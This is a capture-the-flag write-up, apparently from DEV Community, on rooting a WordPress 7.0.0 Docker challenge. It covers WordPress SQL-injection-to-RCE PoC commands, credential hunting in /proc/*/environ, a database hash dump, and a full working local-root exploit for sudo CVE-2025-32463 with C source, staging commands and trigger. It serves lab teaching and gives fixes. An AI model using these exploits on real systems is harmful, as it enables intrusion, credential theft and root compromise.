Overview
The box ships a mostly-stock WordPress 7.0.0 install on PHP 8.2 / Apache, running on a Debian Trixie base image, packaged as a Docker/Kubernetes challenge deployment. Initial access comes through a deliberately vulnerable plugin (wp2shell) that hands over a www-data shell. Privilege escalation is the real puzzle: the box is hardened against the usual container-escape and SUID tricks, and the intended path is a real, recent CVE in sudo itself.
Recon
The challenge source was distributed as a zip (boot2root_wordpressed-to-root.zip) containing the Docker build context:
.
├── docker
│ ├── entrypoint.sh
│ ├── install.php
│ └── seed.php
├── docker-compose.yml
├── Dockerfile
└── theme
└── brunnerne-docs
├── footer.php
├── functions.php
├── header.php
├── index.php
└── style.css
Dockerfile pins the interesting versions:
FROM wordpress:7.0.0-php8.2-apache@sha256:0b6e5bf0ed2518696a34ba3812370743b0ad3e2676882967ff5c712e51425c03 AS wordpress-source
FROM debian:trixie-20240408-slim@sha256:70955dce615f114142818e95339f6ae9b461cf424d79d59ca2b04ec725d4dbc8
...
apache2 ca-certificates curl gcc libc6-dev libapache2-mod-php8.2 \
php8.2 php8.2-curl php8.2-gd php8.2-mbstring php8.2-mysql php8.2-xml php8.2-zip sudo
Two details stand out immediately:
-
gccandlibc6-devare installed in the runtime image, not just a build stage. That is a strong hint that compiling a local privilege-escalation PoC on-box is part of the intended path. -
sudois installed, which combined with the previous point points straight at asudolocal-root bug rather than a container escape.
docker-compose.yml also leaks the DB credentials up front (default WordPress dev creds - not the actual privesc path, but useful context):
MARIADB_DATABASE: wordpress
MARIADB_USER: wordpress
MARIADB_PASSWORD: wordpress
MARIADB_ROOT_PASSWORD: rootpassword
docker/entrypoint.sh is the key file for understanding the box's behavior at runtime. On first boot it generates a random WordPress admin account and exports the credentials into the container's environment:
install_wordpress() {
admin_user="brunnerne_$(openssl rand -hex 6)"
admin_password="$(openssl rand -hex 24)"
export BRUNNERNE_ADMIN_USER="$admin_user"
export BRUNNERNE_ADMIN_PASSWORD="$admin_password"
...
}
Because these are exported rather than passed only to the one-off install script, they end up in the environment of every child process spawned afterward - including the Apache/PHP workers. That is the loose thread that eventually pays off (see "Credential and secret hunting" below).
The theme directory brunnerne-docs is deliberately excluded from the chown www-data:www-data sweep the entrypoint runs:
find /var/www/html \
-path /var/www/html/wp-content/themes/brunnerne-docs -prune \
-o -exec chown www-data:www-data {} +
That makes the theme files root-owned but still world-readable - a natural place to go looking for a root-owned/root-executed hook once you have a foothold, though in this run it turned out to be a red herring (no exploitable eval/system/file-write calls were found in functions.php).
Initial Access - wp2shell-poc (CVE-2026-63030 & CVE-2026-60137)
WordPress 7.0.0 is in scope for a real, recent chain. Icex0/wp2shell-poc is a public PoC (not bundled with the challenge - pulled down separately) for an unauthenticated SQL injection in WordPress core that escalates to full RCE:
-
CVE-2026-63030 - unauthenticated blind SQL injection via REST batch route confusion. The
/wp-json/batch/v1endpoint dispatches several sub-requests in one call, tracking the matched handler and the validation result in two parallel arrays indexed by offset. A sub-request whose path failswp_parse_url()gets appended to the validation array but not the handler array, so the arrays desync and a sub-request ends up dispatched under a different sub-request's handler. Nesting the primitive twice bypasses both the REST method allow-list and parameter validation, landing an attacker-controlled string (author_exclude, taken from the users schema but resolved againstWP_Query) directly in a SQL query asauthor__not_in- reachable pre-auth. Affects WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1 (fixed in 6.9.5 / 7.0.2), which lines up exactly with thewordpress:7.0.0-php8.2-apachebase image in the Dockerfile. - CVE-2026-60137 - the second half of the chain, used for the post-exploitation RCE step once admin credentials are recovered from the SQLi.
Usage against the target:
./wp2shell.py check http://target # confirm the injection (time-based, safe)
./wp2shell.py read http://target --preset users # dump user_login / user_pass hashes
./wp2shell.py shell http://target --user admin --password '<recovered>' -i # plugin-upload RCE
read --preset users pulls the admin password hash straight out of the database via the blind SQLi; once that hash is cracked, shell uses the recovered plaintext to log in and drop a plugin webshell for command execution. Running the shell step against the target produced a working reverse shell as www-data:
You have a working reverse shell as www-data (via the wp2shell plugin) inside the challenge container.
The flag is at /root/flag (mode 0600, owned by root).
The landing directory in the shell confirms the plugin-upload delivery described in the PoC:
www-data@...:/var/www/html/wp-content/plugins/wp2shell_72662939$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enumeration as www-data
Standard low-priv enumeration came back mostly clean - this box does not want you finding a lazy SUID binary or a writable cron job:
- SUID set: only the standard
sudo,su,mount,passwd, etc. Nothing custom. -
getcap -r / 2>/dev/null- empty, no interesting capabilities. - No world-writable root-owned files.
- No
mysqlclient, nopingon the box. - Hostname pattern (
...-global-9569b6b84-9jlvf) confirms this is a Kubernetes pod, but the service-account token path was empty - no in-cluster API abuse available.
root running point
sudo -V | head -5
Sudo version 1.9.15p5
Sudoers policy plugin version 1.9.15p5
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.15p5
Sudoers audit plugin version 1.9.15p5
sudo 1.9.15p5 is the number that matters - flagged below.
Credential and secret hunting
Since RCE was already available through PHP, I dumped WordPress secrets directly from the DB rather than trying to install a MySQL client:
php -r '
$m = new mysqli("db", "wordpress", "wordpress", "wordpress");
$r = $m->query("SELECT user_login, user_pass FROM wp_users");
while ($row = $r->fetch_assoc()) print_r($row);
'
That confirmed the WordPress-side admin account but didn't give a system credential. The actual find was in /proc/*/environ, where Apache worker processes still carried the admin credentials the entrypoint had exported at install time:
for p in /proc/[0-9]*; do
[ -r "$p/environ" ] && { echo "===== $p ====="; tr '\0' '\n' < "$p/environ" | grep -E 'FLAG|PASS|BRUNNER|CHALLENGE|ROOT|SUDO'; }
done 2>/dev/null
===== /proc/180 =====
BRUNNERNE_ADMIN_USER=brunnerne_dd668ff1ff31
BRUNNERNE_ADMIN_PASSWORD=cbb69521526443f483730062259eb48efb35218a342d30f9
Tempting - but it's a dead end for sudo, since it's only the WordPress login, not a system account credential:
echo 'rootpassword' | sudo -S id # MariaDB root password, wrong scope
echo 'wordpress' | sudo -S id # MariaDB app password, wrong scope
echo '' | sudo -S id # empty, wrong
[sudo] password for www-data: Sorry, try again.
sudo: no password was provided
sudo: 1 incorrect password attempt
sudo -l without a valid password also refuses to reveal anything useful, and www-data has no sudoers entry to fall back on. At this point the box is confirmed to not be about credentialed sudo access - it's about the sudo binary itself.
Privilege Escalation - CVE-2025-32463 (sudo chroot / "chwoot")
sudo 1.9.15p5 falls in the vulnerable range for CVE-2025-32463, disclosed by Rich Mirch (Stratascale CRU) and affecting sudo 1.9.14 through 1.9.17. The --chroot/-R option was changed in 1.9.14 to resolve paths - including /etc/nsswitch.conf - from inside the user-supplied chroot directory before the sudoers policy has been evaluated. Since /etc/nsswitch.conf controls how the C library resolves NSS lookups (like passwd), pointing it at an attacker-controlled shared object gets that object dlopen()'d by the still-privileged sudo process. No sudoers entry and no valid password are required.
Steps:
- Build a malicious NSS module whose constructor runs before
main(), drops a root shell:
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "bash", NULL);
}
- Compile it as a shared object and stage a fake chroot directory pointing
nsswitch.confat it:
cd /tmp
mkdir -p woot/etc libnss_
gcc -shared -fPIC -o libnss_/woot1337.so.2 woot1337.c
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf
cp /etc/group woot/etc/
- Trigger it with
sudo -R:
sudo -R woot woot
Result:
$ sudo -R woot woot
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Root shell, confirmed by id. Grabbing the flag from there:
cd /root
ls
flag
cat flag
brunner{tw0_cv3s_0n3_r00t}
Root Cause Summary
-
Initial access: WordPress core unauthenticated blind SQL injection via REST batch route confusion (CVE-2026-63030), chained through recovered admin credentials into a plugin-upload RCE (CVE-2026-60137) -
wp2shell-pocend to end, giving unauthenticated-to-www-dataRCE. -
Privilege escalation:
sudo 1.9.15p5is vulnerable to CVE-2025-32463 - the-R/--chrootoption lets any local user (no sudoers entry, no password) getsudoto load an attacker-controlled NSS shared library from inside a self-supplied chroot, running arbitrary code as root. -
Fix: upgrade to
sudo >= 1.9.17p1, where the premature chroot path resolution is reverted and--chrootis deprecated outright.
Lessons
- Always check
sudo -V(and any other privileged binary's version) early and cross-reference against recent CVEs before reaching for generic/combined LPE scripts - the version string was available from the first minute on the box. -
gcc/libc6-devbeing present in a runtime image is a strong signal the intended path involves compiling something on-target. - Leaking install-time secrets via
exportin an entrypoint script is a realistic misconfiguration pattern worth checking/proc/*/environfor on any box with RCE, even when the leaked credential itself turns out to be the wrong scope.
This article was originally published by DEV Community and written by Yogeshwar Peela.
Read original article on DEV Community